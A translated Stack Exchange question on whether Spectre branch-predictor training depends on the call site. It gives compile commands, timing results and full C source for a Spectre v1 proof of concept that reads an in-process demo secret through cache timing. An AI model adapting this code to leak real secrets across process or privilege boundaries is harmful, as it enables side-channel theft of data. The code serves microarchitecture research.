分支预测训练是否依赖调用站点?(Spectre实验验证)
Spectre漏洞分支预测训练机制实验分析
我在分析Spectre漏洞时,对分支预测训练的运行机制产生了疑问。原本的理解是:CPU通过条件分支指令(如Jcc)的地址识别特定条件分支,积累其预测历史并判断分支是否会被执行。因此,只需在相同条件下重复执行该分支即可完成训练(例如对JZ指令,重复将零标志置位后执行)。
基于AMD Ryzen 7 5700X3D处理器,我编写了小型实验演示两种不同的分支预测训练方式:
方法1:同一调用站点
29次调用满足分支条件的victim_function(分支被执行),随后1次调用不满足条件的情况。所有victim_function调用均来自同一调用站点(即同一指令地址)。
编译命令:
gcc -Wall -Os -DBRANCH_PREDICTION_TRAINING_1 branch_prediction_behavior.c -o branch_prediction_behavior
运行结果:
$ taskset --cpu-list 1 ./branch_prediction_behavior Byte 0x54 'T' has 30 ticks Byte 0x54 'T' has 30 ticks Byte 0x54 'T' has 60 ticks Byte 0x54 'T' has 60 ticks Byte 0x54 'T' has 60 ticks Byte 0x54 'T' has 60 ticks Byte 0x54 'T' has 60 ticks Byte 0x54 'T' has 60 ticks Byte 0x54 'T' has 90 ticks Byte 0x54 'T' has 60 ticks
分析:Spectre按预期生效——array1[x] * LINESIZE的推测执行将array2[0x54 * LINESIZE]载入缓存,可通过较短的访问时间(30-90周期)观测到。
方法2:不同调用站点
执行与方法1相同的调用操作,但所有victim_function调用均来自不同调用站点(即不同指令地址)。
编译命令:
gcc -Wall -Os branch_prediction_behavior.c -o branch_prediction_behavior
运行结果:
$ taskset --cpu-list 1 ./branch_prediction_behavior Byte 0x54 'T' has 60 ticks Byte 0x54 'T' has 60 ticks Byte 0x54 'T' has 300 ticks Byte 0x54 'T' has 300 ticks Byte 0x54 'T' has 300 ticks Byte 0x54 'T' has 270 ticks Byte 0x54 'T' has 270 ticks Byte 0x54 'T' has 270 ticks Byte 0x54 'T' has 270 ticks Byte 0x54 'T' has 270 ticks
分析:此情况下Spectre未生效——仅前两次调用spectre_test_byte()时出现array1[x] * LINESIZE的推测执行。
核心问题
这是否意味着分支预测训练不仅受条件分支自身地址的影响,还受调用站点(即返回地址/调用指令地址)的影响?若是,哪些预测器结构(如全局历史、BTB、间接预测器、RSB)应对此行为负责?
源代码
#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <ctype.h> #include <assert.h> #include <sched.h> #ifdef _MSC_VER #include <intrin.h> #pragma optimize("gt",on) #else #include <x86intrin.h> #endif #define LINESIZE (64U) #define ALIGN_LINE __attribute__ ((aligned (LINESIZE))) unsigned int array1_size ALIGN_LINE = 16; uint8_t array1[160] ALIGN_LINE = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 }; uint8_t array2[256 * LINESIZE] ALIGN_LINE; uint8_t temp = 0; /* Used so compiler won't optimize out victim_function() */ void __attribute__ ((noinline)) victim_function(size_t x) { if (x < array1_size) { temp &= array2[array1[x] * LINESIZE]; } } void flush_cache() { for (int i = 0; i < 256; i++) _mm_clflush(&array2[i * LINESIZE]); _mm_clflush(&array1_size); _mm_mfence(); } uint64_t spectre_test_byte(const uint8_t* ptr, uint8_t test_byte) { size_t malicious_x = ptr - array1; unsigned int junk; register uint64_t time1, time2; volatile uint8_t *addr; /* * train branch prediction and speculative read */ #ifdef BRANCH_PREDICTION_TRAINING_1 size_t training_x, x; size_t training_count = 30; for (size_t tries = 0; tries < training_count; ++tries) { training_x = tries % array1_size; /* * Set x = malicious_x only on the last iteration * Avoid jumps in case those tip off the branch predictor * This is equivalent to the following code: * * cmpq $29, %rcx %rcx is `tries` * cmove %r8, %rdx %r8 is `malicious_x`; %rdx is `training_x` * %rdx is `x` */ x = tries == training_count - 1; x = ~(x - 1); x = training_x ^ (x & (malicious_x ^ training_x)); flush_cache(); victim_function(x); } #else // training // call victim_function with arg < array1_size (== 16) flush_cache(); victim_function(0); flush_cache(); victim_function(1); flush_cache(); victim_function(2); flush_cache(); victim_function(3); flush_cache(); victim_function(4); flush_cache(); victim_function(5); flush_cache(); victim_function(6); flush_cache(); victim_function(7); flush_cache(); victim_function(8); flush_cache(); victim_function(9); flush_cache(); victim_function(10); flush_cache(); victim_function(11); flush_cache(); victim_function(12); flush_cache(); victim_function(13); flush_cache(); victim_function(14); flush_cache(); victim_function(15); flush_cache(); victim_function(0); flush_cache(); victim_function(1); flush_cache(); victim_function(2); flush_cache(); victim_function(3); flush_cache(); victim_function(4); flush_cache(); victim_function(5); flush_cache(); victim_function(6); flush_cache(); victim_function(7); flush_cache(); victim_function(8); flush_cache(); victim_function(9); flush_cache(); victim_function(10); flush_cache(); victim_function(11); flush_cache(); victim_function(12); // 29 calls with value < array1_size // attack! flush_cache(); victim_function(malicious_x); #endif /* * return measured time */ addr = &array2[test_byte * LINESIZE]; time1 = __rdtscp(&junk); /* READ TIMER */ junk = *addr; /* MEMORY ACCESS TO TIME */ time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */ return time2; } void mesure(const uint8_t* ptr, uint8_t test_byte) { uint64_t t = spectre_test_byte(ptr, test_byte); printf("Byte 0x%02X '%c' has %lu ticks\n", test_byte, isprint(test_byte) ? test_byte : '.', t); } int main(int argc, char** argv) { const uint8_t* secret = (const uint8_t*)"The Magic Words are Squeamish Ossifrage."; mesure(secret, 'T'); mesure(secret, 'T'); mesure(secret, 'T'); mesure(secret, 'T'); mesure(secret, 'T'); mesure(secret, 'T'); mesure(secret, 'T'); mesure(secret, 'T'); mesure(secret, 'T'); mesure(secret, 'T'); return 0; }
内容的提问来源于Stack Exchange,提问作者Nikolay Isaev
相关产品推荐
相关产品推荐

